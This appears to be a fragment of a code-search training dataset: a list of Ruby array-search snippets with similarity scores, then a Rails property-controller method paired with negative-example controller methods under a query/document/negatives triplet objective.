"def search(nums, target)\n left = 0\n right = nums.length - 1\n\n while left <= right\n pivot = left + (right - left) / 2\n\n return pivot if nums[pivot] == target\n\n if target < nums[pivot]\n right = pivot - 1\n else\n left = pivot + 1\n end\n end\n\n -1\nend",
"def binary_search(array, target)\n return nil if array.length == 1 && array[0] != target\n mid = array.length / 2\n\n if target == array[mid]\n return mid\n elsif target < array[mid]\n return binary_search(array[0...mid], target)\n else\n found = binary_search(array[mid+1..-1], target)\n return found.nil? ? nil : mid + 1 + found\n end\nend",
"def okay_two_sum(arr, target)\n sorted_arr = arr.sort\n while sorted_arr.any?\n partner = target - sorted_arr.pop\n return true if b_search(sorted_arr, partner)\n end\n\n false\nend",
"def binary_search(arr, target)\n new_arr = arr\n return nil if arr.empty? \n middle = (arr.length - 1) / 2\n if arr[middle] > target\n binary_search(arr[0...middle], target)\n elsif arr[middle] < target \n if binary_search(arr[middle+1..-1], target).nil?\n return nil\n else\n binary_search(arr[middle+1..-1], target) + middle + 1\n end \n elsif target == arr[middle]\n return new_arr.index(arr[middle])\n else\n return nil\n end\nend",
"def search_helper(array, value, index = 0)\n while index < array.length\n if array[index] == value\n return true\n end\n return search_helper(array, value , index + 1)\n end\n return false\nend",
"def sortAndSearch(arr, target)\n arr = arr.sort_by(&:to_i)\n\n startIndex = 0;\n endIndex = arr.size-1\n\n if (target < arr[startIndex] || target > arr[endIndex])\n return 'target is not in array'\n elsif (target === arr[startIndex])\n return startIndex\n elsif (target === arr[endIndex])\n return endIndex\n end\n\n while (startIndex < endIndex - 1)\n midIndex = (startIndex + endIndex) / 2\n\n if (arr[midIndex] === target)\n return midIndex\n elsif (target < arr[midIndex])\n endIndex = midIndex\n elsif (target > arr[midIndex])\n startIndex = midIndex\n end\n end\n\n return 'target is not in array'\nend",
"def linear_search(sorted_array, desired_item)\n index = 0\n sorted_array.length.times do \n if desired_item == sorted_array[index]\n break \n else \n index += 1\n end\n if index > sorted_array.length - 1\n index = nil \n end\n end\n return index \nend",
"def find_element_index(array, value_to_find)\n count = 0\n value_index = nil\n while count < array.length do\n if array[count] == value_to_find\n value_index = count\n end\n count += 1\n end\n value_index\nend",
"def linear_search(object, array)\n\t\tputs \"nil\" if array.empty? == true\n\t\tputs \"nil\" if array.include?(object) == false\n\t\n\t\t\ti = 0\n\t\tuntil array[i] == object\n\t\t\ti +=1\n\t\tend\n\t\nreturn i if array[i] = object\n\t\nend",
"def binary_search(arr, target)\n if arr.length == 1\n return nil if arr[0] != target\n end\n mid = arr.length / 2\n if target == arr[mid]\n return mid\n elsif target > arr[mid]\n if binary_search(arr[mid..arr.length], target) == nil\n return nil\n else\n return binary_search(arr[mid..arr.length], target) + arr.length / 2\n end\n else\n binary_search(arr[0..mid-1], target)\n end\nend",
"def shifted_binary_search(array, target)\n return shifted_binarysearch_helper(array, target, 0, array.length - 1)\nend",
"def solve(nums, target)\n nums.each_with_index do |e, i|\n nums.each_with_index do |e_, i_|\n return [i, i_] if ((e + e_ == target) && (i != i_))\n end\n end\nend",
"def search(array, value)\n if array.empty?\n return false\n elsif array[0] == value\n return true\n end\n \n return search(array[1..-1], value)\nend",
"def search(array, length, value_to_find)\n index = 0\n result = false\n while array[index] != nil do\n if array[index] == value_to_find\n result = true\n end\n index += 1\n end\n return result\nend",
"def bsearch(arr, target)\n if arr.length < 1 # empty array, returns nil\n return nil\n end\n \n # multiple elements, grab middle and compare\n middle_index = arr.length / 2\n middle_element = arr[middle_index]\n case target <=> middle_element\n when -1 # target smaller, check left half\n new_arr = arr[0...middle_index]\n bsearch(new_arr, target)\n when 1\n new_arr = arr[middle_index+1..-1]\n answer = bsearch(new_arr, target)\n return nil if answer.nil?\n answer + middle_index + 1\n when 0\n return middle_index\n end\nend",
"def find(array, target)\n array.each_with_index do |element,index|\n return index if (element == target)\n end\n nil\nend",
"def educated_search(array, val)\n # Make sure the value is in the bounds of the array\n return nil if not (val >= array[0] and val <= array[-1]) \n\n # Generate a guess index\n i = ((val.to_f - array[0])/(array[-1]-array[0])*array.count).to_i\n\n # If the index is larger than possible, reduce it,\n # then see if we found it.\n i = array.count-1 if i > array.count-1\n return i if array[i] == val\n\n # If we're below the desired value, loop up\n # Otherwise loop down\n if array[i] < val\n while array[i] < val and i < array.count-1\n i += 1\n return i if array[i] == val\n end\n else\n while array[i] > val and i > 0\n i -= 1\n return i if array[i] == val\n end\n end\n\n # If not found, return nil\n return nil\nend",
"def binary_search(target, array)\n length = array.length\n center = length / 2\n first = 0\n last = length - 1\n\n while first <= last\n if array[center] == target\n return array.index(target)\n elsif array[center] < target\n first = center + 1\n center = (first + last) / 2\n else\n last = center - 1\n center = (first + last) / 2\n end\n end\n\n return -1\nend",
"def bsearch(array, target)\n return nil if array.empty?\n\n middle_idx = array.length / 2\n if array[middle_idx] == target\n return middle_idx\n elsif array[middle_idx] > target\n bsearch(array[0...middle_idx], target)\n else\n result = bsearch(array[(middle_idx+1)..-1], target)\n if result.is_a?(Fixnum)\n result + middle_idx + 1\n else\n nil\n end\n end\nend",
"def search_array(arr, value)\n arr.each do |i|\n if i == value\n puts \"#{value} is present within array\"\n else\n value = \"#{value} is not present within array\"\n end\n return value\n end\nend",
"def bsearch(arr, target)\n return nil if arr.length == 0\n mid = arr.length/2\n\n if target < mid\n bsearch(arr.take(mid), target)\n elsif target == arr[mid]\n return true\n else\n search_res = bsearch(arr.drop(mid + 1), target)\n search_res.nil? ? false : true\n end\nend",
"def search_array(array, num)\n answer = nil\n (array.length+1).times do | index |\n if array[index] == num\n answer = index\n end\n end\n answer\nend",
"def search(array, length, value_to_find)\n length.times do |i|\n if array[i] == value_to_find\n return true\n end\n end\n return false # if \"do\" loop never returns true, value doesn't exist\n # raise NotImplementedError\nend",
"def arr_sum(arr, target)\n 0.upto(arr.size - 2) do |idx1|\n 1.upto(arr.size - 1) do |idx2|\n return true if arr[idx1] + arr[idx2] == target && idx2 > idx1\n end\n end\n false\nend",
"def search(array, value, i = 0)\n\n return true if array[i] == value\n return false if i == array.length\n search(array, value, i + 1)\n\nend",
"def find_index_of_value_in_array(value, array)\n index = 0\n while index < array.length do \n if array[index] == value\n return index\n end\n index += 1\n end\n nil\nend",
"def bsearch(array, target)\n middle_idx = array.length / 2\n middle = array[middle_idx]\n\n return middle_idx if target == middle\n return nil if array.length == 1\n if target < middle\n return bsearch(array[0...middle_idx], target)\n elsif target > middle\n b_searched = bsearch(array[middle_idx..-1], target)\n if b_searched == nil\n return nil\n else\n return middle_idx + b_searched\n end\n end\nend",
"def find_duplicate(arr)\n # compare the last and next elements until they match\n dupe = arr.inject do |last, nxt|\n # return the match\n return last if last == nxt\n # otherwise return the next elem\n nxt\n end\nend",
"def bsearch(array, target)\n mid_idx = array.length / 2\n if array[mid_idx] == target\n mid_idx\n elsif array.length == 1\n nil\n elsif array[mid_idx] > target\n bsearch(array[0...mid_idx], target)\n elsif array[mid_idx] < target\n after_mid_idx = mid_idx + 1\n recursion = bsearch(array[after_mid_idx..-1], target)\n recursion.nil? ? nil : after_mid_idx + recursion\n end\nend",
"def search(array, value)\n return false if array.nil?\n return true if array[0] == value\n return search(array[1..-1],value)\nend",
"def bsearch(arr, target)\n return nil if arr.length < 1\n\n middle_idx = arr.length / 2\n return_idx = 0\n\n return middle_idx if arr[middle_idx] == target\n\n if target < arr[middle_idx]\n index = bsearch(arr[0...middle_idx], target)\n index.nil? ? (return nil) : return_idx += index\n else\n index = bsearch(arr[middle_idx + 1..-1], target)\n index.nil? ? (return nil) : (return_idx = (middle_idx + index + 1))\n end\n\n return_idx\nend",
"def bsearch(array, target)\nend",
"def search(array, value)\n return false if array.empty?\n return true if array[0] == value\n return search(array[1..-1], value)\nend",
"def search(array, value)\n return false if array.empty?\n element = array.shift\n return element == value || search(array, value)\nend",
"def binary_search(array, target) \n return nil if array.length == 0\n mid = array.length / 2\n return mid if array[mid] == target\n left = array[0...mid]\n right = array[mid + 1..-1]\n if array[mid] > target #[]\n binary_search(left, target)\n else\n result = binary_search(right, target)\n return result.nil? ? nil : result + mid + 1\n end\n \nend",
"def first_pos(nums, target)\n start_ind = 0\n last_ind = nums.size #will return the size if not found such element\n\n while start_ind + 1 < last_ind do\n mid = start_ind + (last_ind - start_ind) / 2\n if nums[mid] < target\n start_ind = mid\n else\n last_ind = mid\n end\n end\n\n if nums[start_ind] >= target\n return start_ind\n end\n\n return last_ind\nend"
] | [
"0.70447177",
"0.70421404",
"0.7010863",
"0.6975586",
"0.69155717",
"0.6900799",
"0.68797463",
"0.6874444",
"0.6800295",
"0.6797924",
"0.67750895",
"0.67574704",
"0.67372996",
"0.67370737",
"0.67188925",
"0.67035687",
"0.669355",
"0.6691955",
"0.6690252",
"0.66829795",
"0.66787416",
"0.6661386",
"0.6658231",
"0.6651136",
"0.66254646",
"0.6622485",
"0.66216695",
"0.6618769",
"0.6616705",
"0.66138446",
"0.6611142",
"0.65977436",
"0.65904987",
"0.6578188",
"0.65752685",
"0.6574584",
"0.6574569",
"0.6570943",
"0.65668726",
"0.6541952",
"0.65409315",
"0.6538977",
"0.65354407",
"0.65305096",
"0.65302014",
"0.6518001",
"0.65180004",
"0.651122",
"0.6509386",
"0.65050554",
"0.65044075",
"0.6502714",
"0.6502421",
"0.6491253",
"0.6487014",
"0.6487014",
"0.6482864",
"0.6481657",
"0.64807427",
"0.6477554",
"0.64769083",
"0.6475746",
"0.6475649",
"0.64752585",
"0.6473545",
"0.6471429",
"0.64689595",
"0.64664626",
"0.64646405",
"0.64611244",
"0.6459561",
"0.6458654",
"0.64462936",
"0.6440736",
"0.6436585",
"0.6435668",
"0.6428824",
"0.64280975",
"0.64254636",
"0.64251506",
"0.642156",
"0.6412834",
"0.64116275",
"0.6407777",
"0.64017135",
"0.6399661",
"0.639963",
"0.6396763",
"0.6396083",
"0.6390772",
"0.63900673",
"0.6390052",
"0.63890535",
"0.63834083",
"0.6381891",
"0.6377948",
"0.6377165",
"0.63768023",
"0.6373972",
"0.6372149",
"0.6370369"
] | 0.0 | -1 |
GET /properties GET /properties.json | def toggle_fav
@property = Property.find(params[:id])
current_usertemp.favorited?(@property) ? current_usertemp.unfavorite(@property) : current_usertemp.favorite(@property)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_properties()\n resp = conn.get('/users/'+name+'/props/')\n \n case resp.code.to_i\n when 200\n return JSON.parse(resp.body)\n when 404\n raise RestAuthUserNotFound.new( resp )\n else\n raise RestAuthUnknownStatus.new( rest )\n end\n end",
"def get_properties\n xml = client.call(\"#{attributes[:url]}/property\").parsed_response\n xml.css('properties property').map { |p| Vebra::Property.new(p, self) }\n end",
"def index\n @properties = Property.all\n\n render json: @properties\n end",
"def index\n @properties = Property.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @properties }\n end\n end",
"def show\n @property = Property.find(params[:id])\n\n render json: @property\n end",
"def my_properties\n @api_v1_properties = current_api_v1_user.properties.\n includes(:reservations).\n order(\"reservations.created_at DESC\")\n\n render template: '/api/v1/properties/index', status: 200\n end",
"def index\n @properties = Property.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @properties }\n end\n end",
"def index\n @properties = Property.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @properties }\n end\n end",
"def index\n @properties = Property.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @properties }\n end\n end",
"def properties_get(opts = {})\n data, _status_code, _headers = properties_get_with_http_info(opts)\n return data\n end",
"def show\n @property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end",
"def show\n property = Property.find params[:id]\n respond_to do |format|\n format.html {}\n format.json { render :json => property}\n end\n end",
"def property_keys\n headers = { 'Accept' => 'application/json; charset=UTF-8' }\n get_request 'propertykeys', headers\n end",
"def show\n @property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end",
"def show\n @property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end",
"def show\n @property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end",
"def show\n @property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end",
"def index\n @properties = @user.properties.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @properties }\n end\n end",
"def relationship_get_property id, name\n headers = {\n 'Accept' => 'application/json; charset=UTF-8',\n }\n\n get_request 'relationship/' + id + '/properties/' + name, headers\n end",
"def index\n\n @properties = Property.search( params[:query] || \"\" )\n\n respond_to do |format|\n\n format.html\n format.json { render json: @properties }\n\n end\n\n end",
"def index\n @api_v1_properties = Api::V1::Property.all\n end",
"def show\n respond_to do |format|\n format.html {}\n format.json { render json: @property }\n end\n end",
"def show\n property = Property.by_key(params[:id], nil, current_user.id)\n if property\n respond_to do |format|\n format.json { render :json => jsonp(properties_to_json([property])) }\n format.xml { render :xml => properties_to_xml([property]) }\n format.text { render :text => text_not_supported }\n end\n else\n render_error('Not found', 404)\n end\n end",
"def my_properties\n @api_v1_properties = current_api_v1_user.properties\n .includes(:reservations)\n .order('reservations.created_at DESC')\n\n render template: '/api/v1/properties/index', status: 200\n end",
"def index\n properties = current_user.properties\n\n if properties.any?\n render status: 200, json: { properties: properties.to_json }\n else\n render status: 404, json: { error: 'You have no properties' }\n end\n end",
"def relationship_get_all_props id\n headers = {\n 'Accept' => 'application/json; charset=UTF-8',\n }\n get_request 'relationship/' + id + '/properties', headers\n end",
"def show\n authorize_action_for @property, at: current_store\n\n respond_to do |format|\n format.json { render json: @property.product_properties, status: 200 }\n format.html\n end\n end",
"def show\n render json: @property\n end",
"def show\n #@property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end",
"def show\n @estate_agent = EstateAgent.find(params[:id])\n @properties = Property.where(\"estate_agent_id = ?\", @estate_agent.id)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @properties }\n end\n end",
"def get_properties(options={})\n return send_message(SkyDB::Message::GetProperties.new(options))\n end",
"def properties\n # vendor = Vendor.find(params[:vendor_id])\n search_params = { vendor_id: params[:vendor_id].to_i, results_per_page: 150 }\n search_params[:p] = params[:p].to_i if params[:p]\n pd = PropertySearchApi.new(filtered_params: search_params )\n pd.query[:size] = 1000\n results, status = pd.filter\n results[:results].each { |e| e[:address] = PropertyDetails.address(e) }\n response = results[:results].map { |e| e.slice(:udprn, :address) }\n response = response.sort_by{ |t| t[:address] }\n #Rails.logger.info \"sending response for vendor properties -> #{response.inspect}\"\n render json: response, status: status\n end",
"def property_properties\n _property_properties\n end",
"def index\n @properties = current_user.properties.order(:id => :desc)\n render \"index.json.jb\"\n end",
"def index\n properties = current_user.properties\n respond_to do |format|\n format.json { render :json => jsonp(properties_to_json(properties)) }\n format.xml { render :xml => properties_to_xml(properties) }\n format.text { render :text => text_not_supported }\n end\n end",
"def featured\n properties = []\n begin\n # Try to get the 3 properties with priority flag\n Property.where(priority: true, status: :active).order('RANDOM()').limit(3).each { |p| properties << p }\n\n # Get the missing properties\n missing = 3 - properties.count\n Property.where(priority: false, status: :active).order('RANDOM()').limit(missing).each { |p| properties << p } if missing > 0\n\n @api_v1_properties = properties\n\n render template: '/api/v1/properties/index', status: 200\n rescue Exception => errors\n render json: errors, status: :unprocessable_entity\n end\n end",
"def index\n @properties = Property.all\n end",
"def index\n @properties = Property.all\n end",
"def index\n @properties = Property.all\n end",
"def index\n @properties = Property.all\n end",
"def index\n @properties = Property.all\n end",
"def index\n @properties = Property.all\n end",
"def index\n\t\t@properties = Property.all\n\tend",
"def index\n @properties = Property.get_all(params[\"city\"], params[\"country\"])\n end",
"def show\n respond_to do |format|\n \tformat.html # show.html.erb\n \tformat.json { render json: @property }\n end\n end",
"def get_properties()\n return @properties\n end",
"def index\n id = params[:id].to_i\n\n if id != 0\n @properties = @properties.paginate(page: params[:page], per_page: 10).\n order('ensure_availability_before_booking desc, name').\n find_all_by_id(id)\n if @properties.any?\n @property_name = @properties.first.name\n end\n else\n @properties = @properties.paginate(page: params[:page], per_page: 10).\n order('ensure_availability_before_booking desc, name').find(:all)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @properties }\n end\n end",
"def properties\n return @values['properties'] if @values.key?('properties')\n @values['properties'] = {}\n @values['properties']\n end",
"def properties\n @properties\n end",
"def get_property( propname )\n resp = conn.get('/users/'+name+'/props/'+propname+'/')\n \n case resp.code.to_i\n when 200\n return JSON.parse( resp.body )\n when 404\n case resp.header['resource-type']\n when 'user'\n raise RestAuthUserNotFound.new( resp )\n when 'property'\n raise RestAuthPropertyNotFound.new( resp )\n else\n raise RestAuthBadResponse.new( resp, \"Received 404 without Resource-Type header\" )\n end\n else\n raise RestAuthUnknownStatus.new( resp )\n end\n end",
"def properties(path, property_names)\n result = properties_for_path(path, property_names, 0)\n if result[0].key?(200)\n return result[0][200]\n else\n return []\n end\n end",
"def show\n @prop = Prop.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prop }\n end\n end",
"def get_properties(did, opts = {})\n data, _status_code, _headers = get_properties_with_http_info(did, opts)\n return data\n end",
"def get_property\n @xml = client.call(url).parsed_response.css('property').first\n @attributes.merge!(parse_xml_to_hash)\n end",
"def show\n @property = Property.find(params[:id])\n @json = @property.to_gmaps4rails\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end",
"def show\n @sample_property = SampleProperty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sample_property }\n end\n end",
"def featured\n properties = []\n begin\n # Tenta pegar 3 propriedades com a flag de prioridade\n Property.where(priority: true, status: :active).order(\"RANDOM()\").limit(3).each {|p| properties << p}\n # Verifica quantas propriedades faltam pra completar 3\n missing = 3 - properties.count\n # Pega as propriedades faltantes caso existam\n Property.where(status: :active).order(\"RANDOM()\").limit(missing).each {|p| properties << p} if missing > 0\n\n @api_v1_properties = properties\n\n render template: '/api/v1/properties/index', status: 200\n rescue Exception => errors\n render json: errors, status: :unprocessable_entity\n end\n end",
"def get_properties(uuid, opts = {})\n data, _status_code, _headers = get_properties_with_http_info(uuid, opts)\n data\n end",
"def index\n @props = Prop.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @props }\n end\n end",
"def properties\n @properties\n end",
"def index\n @properties = Property.order(:id).page (params[:page])\n end",
"def get_properties\n \n begin\n \n if @filename == ''\n raise 'Base file not specified.'\n end\n \n str_uri = $product_uri + '/slides/' + @filename + '/documentProperties'\n signed_str_uri = Aspose::Cloud::Common::Utils.sign(str_uri)\n \n response_stream = RestClient.get(signed_str_uri,{:accept=>'application/json'})\n \n stream_hash = JSON.parse(response_stream)\n \n if(stream_hash['Code'] == 200)\n return stream_hash['DocumentProperties']['List']\n else\n return false\n end\n \n rescue Exception=>e\n print e\n end\n \n end",
"def index\n @client_properties = ClientProperty.all\n end",
"def show\n @location_property = LocationProperty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location_property }\n end\n end",
"def available_properties\n @properties ||= list.properties\n end",
"def index\n @properties = Property.all\n authorize @properties\n end",
"def get_properties\n\n begin\n str_uri = $product_uri + '/words/' + @filename + '/documentProperties'\n signed_str_uri = Aspose::Cloud::Common::Utils.sign(str_uri)\n\n response_stream = RestClient.get(signed_str_uri, {:accept => 'application/json'})\n\n stream_hash = JSON.parse(response_stream)\n\n return stream_hash['DocumentProperties']['List'] if stream_hash['Code'] == 200\n false\n\n rescue Exception => e\n print e\n end\n\n end",
"def properties_get_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PropertiesApi.properties_get ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling PropertiesApi.properties_get\"\n end\n # resource path\n local_var_path = '/v1/properties/{id}'.sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/json', 'text/html'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DomainPublicAdapterWebApiModelsV1PropertiesProperty')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PropertiesApi#properties_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def properties_get(id, opts = {})\n data, _status_code, _headers = properties_get_with_http_info(id, opts)\n data\n end",
"def show\n @property_user = PropertyUser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property_user }\n end\n end",
"def get_properties\n \n begin\n \n if @filename == \"\"\n raise \"Base file not specified.\"\n end\n \n str_uri = $productURI + \"/words/\" + @filename + \"/documentProperties\"\n signed_str_uri = Common::Utils.sign(str_uri)\n \n response_stream = RestClient.get(signed_str_uri,{:accept=>\"application/json\"})\n \n stream_hash = JSON.parse(response_stream)\n \n if(stream_hash[\"Code\"] == 200)\n return stream_hash[\"DocumentProperties\"][\"List\"]\n else\n return false\n end\n \n rescue Exception=>e\n print e\n end\n \n end",
"def get_property(*args)\n return unless alive?\n\n command(\"get_property\", *args)[\"data\"]\n end",
"def properties\n properties = []\n relations = self.property_relations\n relations.each do |relationship|\n properties.push relationship.property\n end\n properties\n end",
"def index\n @properties = Property.find(:all, :order => 'name')\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @properties.to_xml }\n end\n end",
"def web_properties\n Management::WebProperty.all(self)\n end",
"def jsonProperties\n\t\t\tallItems = {\n\t\t\t\t:mp3Url\t\t=> @mp3Url,\n\t\t\t}\n\t\t\treturn allItems\n\n\t\tend",
"def properties\n model.properties\n end",
"def show\n @property = Property.find(params[:id])\n end",
"def show\n @property_field = PropertyField.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property_field }\n end\n end",
"def properties\n _properties\n end",
"def search\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @properties }\n end\n end",
"def index\n @properties = @user.properties.all\n # if params[:search]\n # @properties = @user.properties.search(params[:search], params[:page]).order(\"created_at DESC\")\n \n\n # respond_to do |format|\n # format.html # index.html.erb\n # format.json { render json: @properties }\n # end\n # else\n # @properties = Property.order(\"created_at DESC\")\n # end\n\n end",
"def jsonProperties\n\t\t\tallItems = {\n\t\t\t\t:swf\t\t=> @mp3Url,\n\t\t\t\t:width\t\t=> @width,\n\t\t\t\t:height\t\t=> @height\n\t\t\t}\n\t\t\treturn allItems\n\n\t\tend",
"def property_params\n params[:property]\n end",
"def properties\n @properties ||= {}\n end",
"def properties\n @properties ||= {}\n end",
"def index\n @current_api_v1_user = current_api_v1_user\n @api_v1_properties = Property.all\n end",
"def getProperties\n @widget = Widget.find(params[:id])\n wtype = WidgetType.find(@widget.widget_type_id)\n\n # Return a hash of properties obtained from each source\n # TBD: Currently used for cal widget. Can be used to send authentication tokens\n srcdata = {}\n str2lst(@widget.sources).each do |source_id|\n src = Source.find(source_id)\n sdata = src.getProperties()\n #logger.debug(\"getProperties():sdata = #{sdata}\")\n srcdata[source_id] = sdata\n end\n\n data = {:srcdata => srcdata}\n #logger.debug(\"getProperties():data = #{data}\")\n\n # The final returned hash looks like this\n # data -> {\n # srcdata -> { ... },\n # };\n render :json => {:data => data}\n end",
"def properties\n @properties ||= {}\n end",
"def get_prop(values)\n cmd = \"{\\\"id\\\":1,\\\"method\\\":\\\"get_prop\\\",\\\"params\\\":[#{values}]}\\r\\n\"\n request(cmd)\n end",
"def get_properties_with_http_info(uuid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ProjectPropertyApi.get_properties ...'\n end\n # verify the required parameter 'uuid' is set\n if @api_client.config.client_side_validation && uuid.nil?\n fail ArgumentError, \"Missing the required parameter 'uuid' when calling ProjectPropertyApi.get_properties\"\n end\n # resource path\n local_var_path = '/v1/project/{uuid}/property'.sub('{' + 'uuid' + '}', CGI.escape(uuid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<ProjectProperty>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['X-Api-Key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProjectPropertyApi#get_properties\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def show\n format = params[:format] || 'json'\n data = @container.config.get_properties(flavor: :public, format: format)\n\n render response_ok data\n end",
"def properties\n @properties ||= {}\n end",
"def properties\n []\n end",
"def query\n @property_hash\n end",
"def show\n @property = Property.find(params[:id].to_i) rescue nil\n respond_to do |format|\n unless @property.blank?\n # to provide a version specific and secure representation of an object, wrap it in a presenter\n \n format.xml { render :xml => property_presenter }\n format.json { render :json => property_presenter }\n else\n format.xml { head :not_found }\n format.json { head :not_found }\n end\n end\n end",
"def show\n @quick_property = QuickProperty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quick_property }\n end\n end",
"def index\n @properties = Property.with_deleted.where(id: AccessResource.get_ids(resource_klass: 'Property', user: current_user))\n @properties = @properties.where(deleted_at: nil) unless params[:trashed].to_b\n @properties = @properties.where.not(deleted_at: nil) if params[:trashed].to_b\n @last = @properties.try(:last).try(:id) || 0\n if params[\"purchased\"]\n if ((params[\"purchased\"][\"accepted\"] == \"1\") && (params[\"prospective_purchase\"][\"accepted\"] == \"1\"))\n elsif ((params[\"purchased\"][\"accepted\"] == \"0\") && (params[\"prospective_purchase\"][\"accepted\"] == \"0\"))\n @properties = @properties.where.not(ownership_status: ['Prospective Purchase', 'Purchased'])\n else\n @properties = @properties.where(ownership_status: 'Purchased') if params[\"purchased\"][\"accepted\"] == \"1\"\n @properties = @properties.where(ownership_status: 'Prospective Purchase') if params[\"prospective_purchase\"][\"accepted\"] == \"1\"\n end\n end\n @properties = @properties.order(created_at: :desc).paginate(page: params[:page], per_page: sessioned_per_page)\n @activeId = params[:active_id]\n \n render template: 'properties/xhr_list', layout: false if request.xhr?\n end",
"def properties\n return @properties\n end",
"def get_server_properties\n http_get(:uri=>\"/server/properties\", :fields=>x_cookie)\n end",
"def index\n @allowed = false\n if check_permissions?(session[:user_type], \"create_property\")\n @allowed = true\n end\n @properties = Property.all\n end"
] | [
"0.75018007",
"0.7475009",
"0.746873",
"0.7455118",
"0.7341186",
"0.73298395",
"0.728888",
"0.728888",
"0.7288875",
"0.71567196",
"0.7149775",
"0.71148396",
"0.7105831",
"0.7083838",
"0.7083838",
"0.7083838",
"0.7083838",
"0.70709115",
"0.70466745",
"0.70451057",
"0.70230925",
"0.70224357",
"0.7018248",
"0.7006206",
"0.69799036",
"0.69642925",
"0.69531786",
"0.69522244",
"0.693088",
"0.6927656",
"0.6879894",
"0.68693507",
"0.6847459",
"0.68435395",
"0.6813667",
"0.6811128",
"0.6792631",
"0.6792631",
"0.6792631",
"0.6792631",
"0.6792631",
"0.6792631",
"0.6772058",
"0.676866",
"0.6766727",
"0.67487013",
"0.6743893",
"0.67270887",
"0.6722367",
"0.66456664",
"0.6639931",
"0.6639101",
"0.66389555",
"0.66316783",
"0.6627592",
"0.65998614",
"0.65857863",
"0.6585719",
"0.65835613",
"0.6575083",
"0.6571959",
"0.6566735",
"0.65618753",
"0.6559311",
"0.65495825",
"0.65444994",
"0.6539084",
"0.6522242",
"0.6512929",
"0.6499916",
"0.6490093",
"0.64868546",
"0.6480112",
"0.64765245",
"0.6472079",
"0.6470897",
"0.64671296",
"0.6465398",
"0.6465338",
"0.646006",
"0.6453586",
"0.64334214",
"0.6399189",
"0.63971305",
"0.6381545",
"0.6381545",
"0.63673633",
"0.6360048",
"0.63472253",
"0.6339415",
"0.63378483",
"0.6328721",
"0.6326396",
"0.63247675",
"0.63226616",
"0.6321451",
"0.6300468",
"0.62893385",
"0.6283081",
"0.6273931",
"0.62713593"
] | 0.0 | -1 |
GET /properties/1 GET /properties/1.json | def show
@agent = @property.account
@count = Property.where(zona: @property.zona).where.not(id: @property).count
@neighbourhood = Property.where(zona: @property.zona).where.not(id: @property).limit(3)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @property = Property.find(params[:id])\n\n render json: @property\n end",
"def show\n property = Property.find params[:id]\n respond_to do |format|\n format.html {}\n format.json { render :json => property}\n end\n end",
"def show\n @property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end",
"def my_properties\n @api_v1_properties = current_api_v1_user.properties.\n includes(:reservations).\n order(\"reservations.created_at DESC\")\n\n render template: '/api/v1/properties/index', status: 200\n end",
